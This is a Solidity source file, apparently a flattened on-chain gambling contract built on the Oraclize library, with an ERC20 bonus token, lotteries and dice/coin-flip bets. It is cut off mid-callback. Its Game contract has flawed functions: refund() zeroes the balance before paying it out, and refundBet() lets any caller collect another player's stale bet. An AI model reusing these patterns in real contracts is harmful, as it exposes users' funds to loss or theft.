dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity ^0.4.24;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string name, string symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string) {
return _name;
}
function symbol() public view returns (string) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
}
contract BonusToken is ERC20, ERC20Detailed, Ownable {
address public gameAddress;
address public investTokenAddress;
uint public maxLotteryParticipants;
mapping (address => uint256) public ethLotteryBalances;
address[] public ethLotteryParticipants;
uint256 public ethLotteryBank;
bool public isEthLottery;
mapping (address => uint256) public tokensLotteryBalances;
address[] public tokensLotteryParticipants;
uint256 public tokensLotteryBank;
bool public isTokensLottery;
modifier onlyGame() {
require(msg.sender == gameAddress);
_;
}
modifier tokenIsAvailable {
require(investTokenAddress != address(0));
_;
}
constructor (address startGameAddress) public ERC20Detailed("Bet Token", "BET", 18) {
setGameAddress(startGameAddress);
}
function setGameAddress(address newGameAddress) public onlyOwner {
require(newGameAddress != address(0));
gameAddress = newGameAddress;
}
function buyTokens(address buyer, uint256 tokensAmount) public onlyGame {
_mint(buyer, tokensAmount * 10**18);
}
function startEthLottery() public onlyGame {
isEthLottery = true;
}
function startTokensLottery() public onlyGame tokenIsAvailable {
isTokensLottery = true;
}
function restartEthLottery() public onlyGame {
for (uint i = 0; i < ethLotteryParticipants.length; i++) {
ethLotteryBalances[ethLotteryParticipants[i]] = 0;
}
ethLotteryParticipants = new address[](0);
ethLotteryBank = 0;
isEthLottery = false;
}
function restartTokensLottery() public onlyGame tokenIsAvailable {
for (uint i = 0; i < tokensLotteryParticipants.length; i++) {
tokensLotteryBalances[tokensLotteryParticipants[i]] = 0;
}
tokensLotteryParticipants = new address[](0);
tokensLotteryBank = 0;
isTokensLottery = false;
}
function updateEthLotteryBank(uint256 value) public onlyGame {
ethLotteryBank = ethLotteryBank.sub(value);
}
function updateTokensLotteryBank(uint256 value) public onlyGame {
tokensLotteryBank = tokensLotteryBank.sub(value);
}
function swapTokens(address account, uint256 tokensToBurnAmount) public {
require(msg.sender == investTokenAddress);
_burn(account, tokensToBurnAmount);
}
function sendToEthLottery(uint256 value) public {
require(!isEthLottery);
require(ethLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (ethLotteryBalances[account] == 0) {
ethLotteryParticipants.push(account);
}
ethLotteryBalances[account] = ethLotteryBalances[account].add(value);
ethLotteryBank = ethLotteryBank.add(value);
}
function sendToTokensLottery(uint256 value) public tokenIsAvailable {
require(!isTokensLottery);
require(tokensLotteryParticipants.length < maxLotteryParticipants);
address account = msg.sender;
_burn(account, value);
if (tokensLotteryBalances[account] == 0) {
tokensLotteryParticipants.push(account);
}
tokensLotteryBalances[account] = tokensLotteryBalances[account].add(value);
tokensLotteryBank = tokensLotteryBank.add(value);
}
function ethLotteryParticipants() public view returns(address[]) {
return ethLotteryParticipants;
}
function tokensLotteryParticipants() public view returns(address[]) {
return tokensLotteryParticipants;
}
function setInvestTokenAddress(address newInvestTokenAddress) external onlyOwner {
require(newInvestTokenAddress != address(0));
investTokenAddress = newInvestTokenAddress;
}
function setMaxLotteryParticipants(uint256 participants) external onlyOwner {
maxLotteryParticipants = participants;
}
}
contract Game is usingOraclize, Ownable {
using SafeMath for uint;
uint public constant GAME_COIN_FlIP = 0;
uint public constant GAME_DICE = 1;
uint public constant GAME_TWO_DICE = 2;
uint public constant GAME_ETHEROLL = 3;
uint public constant LOTTERY_FEE = 0.002 ether;
uint public constant BENEFICIAR_FEE_PERCENT = 2;
uint public constant MIN_BET = 0.01 ether;
struct Query {
uint amount;
address gamer;
uint[] values;
uint prize;
uint range;
uint game;
uint time;
bool ended;
}
mapping(bytes32 => Query) public queries;
mapping(address => uint) public waitingPrizes;
mapping(address => bool) public isBet;
mapping(address => uint) public betsBalances;
mapping(address => uint) public minRanges;
mapping(address => uint) public maxRanges;
address[] public tokensHolders;
address[] public players;
bytes32 public lotteryQueryId;
uint public lotterySize;
uint public lotteryStage;
uint public lotteryRound;
uint public lastLotteryTime;
uint public lastSendBonusTokensTime;
uint public callbackGas;
uint public beneficiarFund;
address public beneficiar;
BonusToken public token;
uint private playersIndex;
event PlaceBet(address indexed gamer, bytes32 queryId);
event Bet(address indexed gamer, uint indexed game, uint amount, uint result, uint[] winResult, uint prize, uint timestamp);
event WinLottery(address indexed gamer, uint prize, uint ticketsAmount, uint indexed round);
constructor(address startBeneficiar) public valideAddress(startBeneficiar) {
oraclize_setProof(proofType_Ledger);
oraclize_setCustomGasPrice(5000000000);
callbackGas = 300000;
beneficiar = startBeneficiar;
}
modifier valideAddress(address addr) {
require(addr != address(0));
_;
}
function placeBet(uint game, uint[] values) payable external {
require(msg.value >= MIN_BET);
require(game == GAME_COIN_FlIP || game == GAME_DICE || game == GAME_TWO_DICE || game == GAME_ETHEROLL);
require(valideBet(game, values));
uint range;
uint winChance;
if (game == GAME_COIN_FlIP) {
require(values.length == 1);
range = 2;
winChance = 5000;
} else if (game == GAME_DICE) {
require(values.length <= 5);
range = 6;
winChance = 1667;
winChance = winChance.mul(values.length);
} else if (game == GAME_TWO_DICE) {
require(values.length <= 10);
range = 11;
for (uint i = 0; i < values.length; i++) {
if (values[i] == 0 || values[i] == 10) winChance = winChance.add(278);
else if (values[i] == 1 || values[i] == 9) winChance = winChance.add(556);
else if (values[i] == 2 || values[i] == 8) winChance = winChance.add(833);
else if (values[i] == 3 || values[i] == 7) winChance = winChance.add(1111);
else if (values[i] == 4 || values[i] == 6) winChance = winChance.add(1389);
else if (values[i] == 5) winChance = winChance.add(1667);
}
} else if (game == GAME_ETHEROLL) {
require(values.length == 1);
range = 100;
winChance = uint(100).mul(values[0] + 1);
}
address sender = msg.sender;
uint weiAmount = msg.value;
if (!isBet[sender]) {
players.push(sender);
isBet[sender] = true;
}
bytes32 queryId = random();
weiAmount = fee(weiAmount);
betsBalances[sender] = betsBalances[sender].add(weiAmount);
uint prize = weiAmount.mul(10000).div(winChance);
newQuery(queryId, msg.value, sender, values, prize, range);
queries[queryId].game = game;
emit PlaceBet(sender, queryId);
}
function lottery() external onlyOwner valideAddress(address(token)) {
require(now - lastLotteryTime >= 24 hours);
require(token.ethLotteryBank() > 0);
require(lotterySize > 0);
if (!token.isEthLottery()) {
address[] memory lotteryParticipants = token.ethLotteryParticipants();
for (uint i = 0; i < lotteryParticipants.length; i++) {
address participant = lotteryParticipants[i];
uint participantBalance = token.ethLotteryBalances(participant);
if (participantBalance > 0) {
tokensHolders.push(participant);
}
}
updateLotteryRanges();
lotteryRound++;
}
token.startEthLottery();
lotteryQueryId = random();
}
function sendBonusTokens(uint playersIterations) external onlyOwner {
require(now - lastSendBonusTokensTime >= 24 hours);
uint playersIterationsNumber;
if (players.length.sub(playersIndex) < playersIterations) {
playersIterationsNumber = players.length.sub(playersIndex);
} else {
playersIterationsNumber = playersIterations;
}
for (uint i; i < playersIterationsNumber; i++) {
address player = players[playersIndex];
uint tokensAmount;
uint betBalance = betsBalances[player];
while (betBalance >= 1 ether) {
tokensAmount = tokensAmount.add(100);
betBalance = betBalance.sub(1 ether);
}
if (tokensAmount > 0) {
token.buyTokens(player, tokensAmount);
}
playersIndex++;
}
if (playersIndex == players.length) {
playersIndex = 0;
lastSendBonusTokensTime = now;
}
}
function refund() external {
require(waitingPrizes[msg.sender] > 0, '0');
require(address(this).balance >= waitingPrizes[msg.sender]);
waitingPrizes[msg.sender] = 0;
msg.sender.transfer(waitingPrizes[msg.sender]);
}
function refundBet(bytes32 queryId) external {
require(!queries[queryId].ended);
require(now - queries[queryId].time > 24 hours);
queries[queryId].ended = true;
msg.sender.transfer(queries[queryId].amount);
}
function getPlayers() external view returns(address[]) {
return players;
}
function setOraclizeGasPrice(uint gasPrice) external onlyOwner {
oraclize_setCustomGasPrice(gasPrice);
}
function setOraclizeGasLimit(uint gasLimit) external onlyOwner {
callbackGas = gasLimit;
}
function setBeneficiarAddress(address newBeneficiar) external onlyOwner valideAddress(newBeneficiar) {
beneficiar = newBeneficiar;
}
function setTokenAddress(address tokenAddress) external onlyOwner valideAddress(tokenAddress) {
token = BonusToken(tokenAddress);
}
function getFund(uint weiAmount) external onlyOwner {
msg.sender.transfer(weiAmount);
}
function getBeneficiarFund() external {
require(msg.sender == beneficiar);
uint256 fund = beneficiarFund;
beneficiarFund = 0;
beneficiar.transfer(fund);
}
function __callback(bytes32 myId, string result, bytes proof) public {
require((msg.sender == oraclize_cbAddress()), 'Sender must be Oraclize');
Query storage query = queries[myId];
require(!query.ended);
uint randomNumber;
uint i;
if (query.gamer != address(0)) {
if (oraclize_randomDS_proofVerify__returnCode(myId, result, proof) != 0) {
sendWin(query.gamer, query.amount);
} else {
randomNumber = uint(keccak256(result)) % query.range;
bool isWin;
for (i = 0; i < query.values.length; i++) {
if (query.game == GAME_ETHEROLL) {
if (randomNumber <= query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
}
} else {
if (randomNumber == query.values[i]) {
sendWin(query.gamer, query.prize);
isWin = true;
break;
}
}
}
if (isWin) {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, query.prize, now);
} else {
emit Bet(query.gamer, query.game, query.amount, randomNumber, query.values, 0, now);
}
}
query.ended = true;
} else if (myId == lotteryQueryId) {
require(oraclize_randomDS_proofVerify__returnCode(myId, result, proof) == 0);
randomNumber = uint(keccak256(result)) % token.ethLotteryBank();
uint prize = 0;
if (lotteryStage == 0) {
prize = lotterySize.div(2);
} else if (lotteryStage == 1) {
prize = lotterySize.div(4);
} else if (lotteryStage == 2) {
prize = lotterySize.mul(12).div(100);
} else if (lotteryStage == 3) {
prize = lotterySize.mul(8).div(100);
} else {
prize = lotterySize.div(20);
}
for (i = 0; i < tokensHolders.length; i++) {
address tokensHolder = tokensHolders[i];
if (randomNumber >= minRanges[tokensHolder] && randomNumber < maxRanges[tokensHolder]) {
deleteTokensHolder(i);
sendWin(tokensHolder, prize);
emit WinLottery(tokensHolder, prize, token.ethLotteryBalances(tokensHolder), lotteryRound);
lotteryStage++;
updateLotteryRanges();
token.updateEthLotteryBank(token.ethLotteryBalances(tokensHolder));
break;
}
}
if (lotteryStage == 5 || tokensHolders.length == 0) {
tokensHolders = new address[](0);
lotterySize = 0;
lotteryStage = 0;
